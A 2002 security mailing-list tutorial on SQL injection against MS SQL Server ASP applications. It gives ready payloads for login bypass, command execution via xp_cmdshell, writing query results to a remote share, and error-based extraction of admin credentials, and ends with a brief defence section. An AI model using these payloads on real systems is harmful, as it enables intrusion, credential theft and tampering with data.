[REVS] SQL Injection Walkthrough
From: support@securiteam.comDate: 05/26/02
- Previous message: support@securiteam.com: "[TOOL] WPoison SQL Injection Stress Testing"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Sun, 26 May 2002 20:52:16 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
SQL Injection Walkthrough
------------------------------------------------------------------------
SUMMARY
The following article will try to help beginners with grasping the
problems facing them while trying to utilize SQL Injection techniques, to
successfully utilize them, and to protect themselves from such attacks.
DETAILS
1.0 Introduction
When a machine has only port 80 opened, your most trusted vulnerability
scanner cannot return anything useful, and you know that the admin always
patch his server, we have to turn to web hacking. SQL injection is one of
type of web hacking that require nothing but port 80 and it might just
work even if the admin is patch-happy. It attacks on the web application
(like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or
services running in the OS.
This article does not introduce anything new, SQL injection has been
widely written and used in the wild. We wrote the article because we would
like to document some of our pen-test using SQL injection and hope that it
may be of some use to others. You may find a trick or two but please check
out the "9.0 Where can I get more info?" for people who truly deserve
credit for developing many techniques in SQL injection.
1.1 What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web
pages. Many web pages take parameters from web user, and make SQL query to
the database. Take for instance when a user login, web page that user name
and password and make SQL query to the database to check if a user has
valid name and password. With SQL Injection, it is possible for us to send
crafted user name and/or password field that will change the SQL query and
thus grant us something else.
1.2 What do you need?
Any web browser.
2.0 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page,
search page, feedback, etc. Sometimes, HTML pages use POST command to send
parameters to another ASP page. Therefore, you may not see the parameters
in the URL. However, you can check the source code of the HTML, and look
for "FORM" tag in the HTML code. You may find something like this in some
HTML codes:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
Everything between the <FORM> and </FORM> have potential parameters that
might be useful (exploit wise).
2.1 What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to
look especially for URL that takes parameters, like:
3.0 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:
hi' or 1=1--
Into login, or password, or even in the URL. Example:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--
If you must do this with a hidden field, just download the source HTML
from the site, save it in your hard disk, modify the URL and hidden field
accordingly. Example:
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
If luck is on your side, you will get login without any login name or
password.
3.1 But why ' or 1=1--?
Let us look at another example why ' or 1=1-- is important. Other than
bypassing login, it is also possible to view extra information that is not
normally available. Take an asp page that will link you to another page
with the following URL:
http://duck/index.asp?category=food
In the URL, 'category' is the variable name, and 'food' is the value
assigned to the variable. In order to do that, an ASP might contain the
following code (OK, this is the actual code that we created for this
exercise):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
As we can see, our variable will be wrapped into v_cat and thus the SQL
statement should become:
SELECT * FROM product WHERE PCategory='food'
The query should return a resultset containing one or more rows that match
the WHERE condition, in this case, 'food'.
Now, assume that we change the URL into something like this:
http://duck/index.asp?category=food' or 1=1--
Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this
in the SQL query, we will have:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
The query now should now select everything from the product table
regardless if PCategory is equal to 'food' or not. A double dash "--" tell
MS SQL server ignore the rest of the query, which will get rid of the last
hanging single quote ('). Sometimes, it may be possible to replace double
dash with single hash "#".
However, if it is not an SQL server, or you simply cannot ignore the rest
of the query, you also may try
' or 'a'='a
The SQL query will now become:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
It should return the same result.
Depending on the actual SQL query, you may have to try some of these
possibilities:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
4.0 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL
query at will. Default installation of MS SQL Server is running as SYSTEM,
which is equivalent to Administrator access in Windows. We can use stored
procedures like master..xp_cmdshell to perform remote execution:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Try using double quote (") if single quote (') is not working.
The semi colon will end the current SQL query and thus allow you to start
a new SQL command. To verify that the command executed successfully, you
can listen to ICMP packet from 10.10.1.2, check if there is any packet
from the server:
#tcpdump icmp
If you do not get any ping request from the server, and get error message
indicating permission error, it is possible that the administrator has
limited Web User access to these stored procedures.
5.0 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT *
FROM INFORMATION_SCHEMA.TABLES"
But the target IP must folder "share" sharing for Everyone.
6.0 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to
get almost any data we want. Take the following page for example:
We will try to UNION the integer '10' with another string from the
database:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--
The system table INFORMATION_SCHEMA.TABLES contains information of all
tables in the server. The TABLE_NAME field obviously contains the name of
each table in the database. It was chosen because we know it always
exists. Our query:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
This should return the first table name in the database. When we UNION
this string value to an integer 10, MS SQL Server will try to convert a
string (nvarchar) to an integer. This will produce an error, since we
cannot convert nvarchar to int. The server will display the following
error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
The error message is nice enough to tell us the value that cannot be
converted into an integer. In this case, we have obtained the first table
name in the database, which is "table1".
To get the next table name, we can use the following query:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
We also can search for data using LIKE keyword:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
The matching patent, '%25login%25' will be seen as %login% in SQL Server.
In this case, we will get the first table name that matches the criteria,
"admin_login".
6.1 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all
columns name of a table:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Now that we have the first column name, we can use NOT IN () to get the
next column name:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
When we continue further, we obtained the rest of the column name, i.e.
"password", "details". We know this when we get the following error
message:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear
in the select list if the statement contains a UNION operator.
/index.asp, line 5
6.2 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we
can use the same technique to gather any information we want from the
database.
Now, let's get the first login_name from the "admin_login" table:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM
admin_login--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
We now know there is an admin user with the login name of "neo". Finally,
to get the password of "neo" from the database:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login
where login_name='neo'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
We can now login as "neo" with his password "m4trix".
6.3 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any
error message if we are trying to convert text that consists of valid
number (character between 0-9 only). Let say we are trying to get password
of "trinity" which is "31173":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login
where login_name='trinity'--
We will probably get a "Page Not Found" error. The reason being, the
password "31173" will be converted into a number, before UNION with an
integer (10 in this case). Since it is a valid UNION statement, SQL server
will not throw ODBC error message, and thus, we will not be able to
retrieve any numeric entry.
To solve this problem, we can append the numeric string with some
alphabets to make sure the conversion fail. Let us try this query instead:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int,
password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
We simply use a plus sign (+) to append the password with any text we
want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into
the actual password. Therefore, even if we have a numeric string '31173',
it will become '31173 morpheus'. By manually calling the convert()
function, trying to convert '31173 morpheus' into an integer, SQL Server
will throw out ODBC error message:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Now, you can even login as 'trinity' with the password '31173'.
7.0 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for
us to UPDATE or even INSERT a new record in the table. For example, to
change password for "neo":
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' =
'newpas5' WHERE login_name='neo'--
To INSERT a new record into the database:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id',
'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
We can now login as "neo2" with the password of "newpas5".
8.0 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash,
semi colon, extended character like NULL, carry return, new line, etc, in
all strings from:
- Input from users
- Parameters from URL
- Values from cookie
For numeric value, convert it to an integer before parsing it into SQL
statement. Or using ISNUMERIC to make sure it is an integer.
Change "Startup and run SQL Server" using low privilege user in SQL Server
Security tab.
Delete stored procedures that you are not using like:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
9.0 Where can I get more info?
One of the earliest works on SQL Injection we have encountered should be
the paper from Rain Forest Puppy about how he hacked PacketStorm.
<http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6>
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
Great article on gathering information from ODBC error messages:
<http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc> http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
A good summary of SQL Injection on various SQL Server on
<http://www.owasp.org/asac/input_validation/sql.shtml>
http://www.owasp.org/asac/input_validation/sql.shtml
Senseport's article on reading SQL Injection:
<http://www.sensepost.com/misc/SQLinsertion.htm>
http://www.sensepost.com/misc/SQLinsertion.htm
Other worth readings:
<http://www.digitaloffense.net/wargames01/IOWargames.ppt>
http://www.digitaloffense.net/wargames01/IOWargames.ppt
<http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6>
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
<http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6>
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
<http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf>
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
ADDITIONAL INFORMATION
The information has been provided by <mailto:sk@scan-associates.net> SK.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[TOOL] WPoison SQL Injection Stress Testing"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- Re: upsizing to sql 2005
... which include MS SQL Server linked table. ... Query Name: Arcadia - ARC
... are still unable to upsize one of these queries, ... (microsoft.public.access.queries) - Re: VS.NET 2003, ADO.NET 1.1 and Access 2000: Getting a Concurrency violation
... I am using an Access update query, with parameters, for the ... Then my app
goes against a SQL ... OleDbDataAdapter that I use to retrieve the original table
from the ... So your named parameters for SQL Server suddenly become anonymous ...
(microsoft.public.dotnet.framework.adonet) - Re: upsizing to sql 2005
... A query in Access-Jet will be started and under the supervision of Jet, ...
Jet syntax parsing and evaluation. ... so, in this case, into MS SQL Server. ...
(microsoft.public.access.queries) - Re: Asynchronous Stored Procedure Never Returns - Help?
... If you have the Sql Server 2000 or 2005 docs they are thorough and can be ...
for Transaction SQL Reference from the drop-down or select a keyword from ... your query
in Query Analyzer or Sql Server Management Studio, ... (microsoft.public.dotnet.languages.csharp) - Re: Server does not exist or access denied
... > the sites were moved to new servers, and sql was upgraded from ... >
Microsoft OLE DB Provider for ODBC Drivers error '80004005' ... connect to sql server
and pull off information from an ... > external site whilst the others are down. ...
(microsoft.public.sqlserver.programming)